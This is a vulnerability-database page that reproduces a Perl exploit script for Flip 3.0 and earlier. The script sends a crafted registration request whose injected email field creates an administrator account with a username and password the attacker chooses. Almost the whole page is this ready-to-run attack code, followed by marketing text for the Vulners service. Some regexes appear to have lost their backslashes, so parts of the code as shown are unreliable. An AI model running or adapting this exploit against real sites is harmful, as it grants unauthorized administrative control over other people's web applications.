Lucene search
K

Flip <= 3.0 Remoe Admin Creation Exploit

🗓️ 20 Sep 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

Flip <= 3.0 Remote Admin Creation Exploi

Code

                                                #!/usr/bin/perl

use strict; 
use IO::Socket;
use Getopt::Std;

my $app = &quot;Flip &lt;= 3.0&quot;;
my $type = &quot;Admin Creation&quot;;
my $author = &quot;undefined1_&quot;;
my $vendor = &quot;http://sourceforge.net/projects/flipsource&quot;;

my %opt;
getopts(&quot;t:&quot;, \%opt);
$| = 1;
print &quot;:: $app $type - by $author - www.undef1.com ::


&quot;;

my $url = $opt{t} || usage();

if($url =~ m/^(?:http://)(.*)/) {
	$url = $1;
}
if($url !~ m/^.*/$/) {
	$url .= &quot;/&quot;;
}

print &quot;username you want: &quot;;
my $user = &lt;STDIN&gt;;
print &quot;password you want: &quot;;
my $pass = &lt;STDIN&gt;;
chomp($user);
chomp($pass);

create_admin($url, $user, $pass);

sub create_admin {
	my $url = shift;
	my $user = shift;
	my $pass = shift;
	
	print &quot;creating admin ... 	&quot;;
	my $content  = &quot;un=$user&amp;em=aaa&#93;&#91;[email protected]&amp;pw1=$pass&amp;pw2=$pass&quot;;
	my $data = &quot;POST &quot; . parse_page($url . &quot;account.php?op=register&quot;) . &quot; HTTP/1.1
&quot;;
	$data .= &quot;Host: &quot; . parse_host($url) . &quot;
&quot;;
	$data .= &quot;Connection: close
&quot;;
	$data .= &quot;Content-Type: application/x-www-form-urlencoded
&quot;;
	$data .= &quot;Content-Length: &quot; . length($content) . &quot;

&quot;;
	my $recv = sendpacket(parse_host($url), parse_port($url), $data.$content);

	if($recv !~ m/Successfully registered!/m) {
		print &quot;failed
&quot;;
		return;
	}	
	print &quot;OK
&quot;;		
}



# ======================================================

sub parse_host {
	my $url = shift;
	if($url =~ m/^(&#91;^/:&#93;+).*//) {
		return $1;
}
	return &quot;127.0.0.1&quot;;
}

sub parse_port {
	my $url = shift;
	if($url =~ m/^(?:&#91;^/:&#93;+):(d+)//) {
		return $1;
}
	return &quot;80&quot;;
}

sub parse_page {
	my $url = shift;
	if($url =~ m/^(?:&#91;^/&#93;+)(/.*)/) {
		return $1;
	}
	return &quot;/&quot;;
}


sub sendpacket {
	my $server = shift;
	my $port = shift;
	my $data = shift;

	my $sock = IO::Socket::INET-&gt;new(Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; $server, PeerPort =&gt; $port) or die &quot;:: Could not connect to $server:80 $!
&quot;;
	print $sock &quot;$data&quot;;
	
	$data = &quot;&quot;;
	my $resp;
	while($resp = &lt;$sock&gt;)	{ $data .= $resp; }
	
	close($sock);
	return $data;
}

sub usage() {
	printf &quot;usage: %s -t&lt;url&gt;
&quot;, $0;
	exit;
}

# sebug.net
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation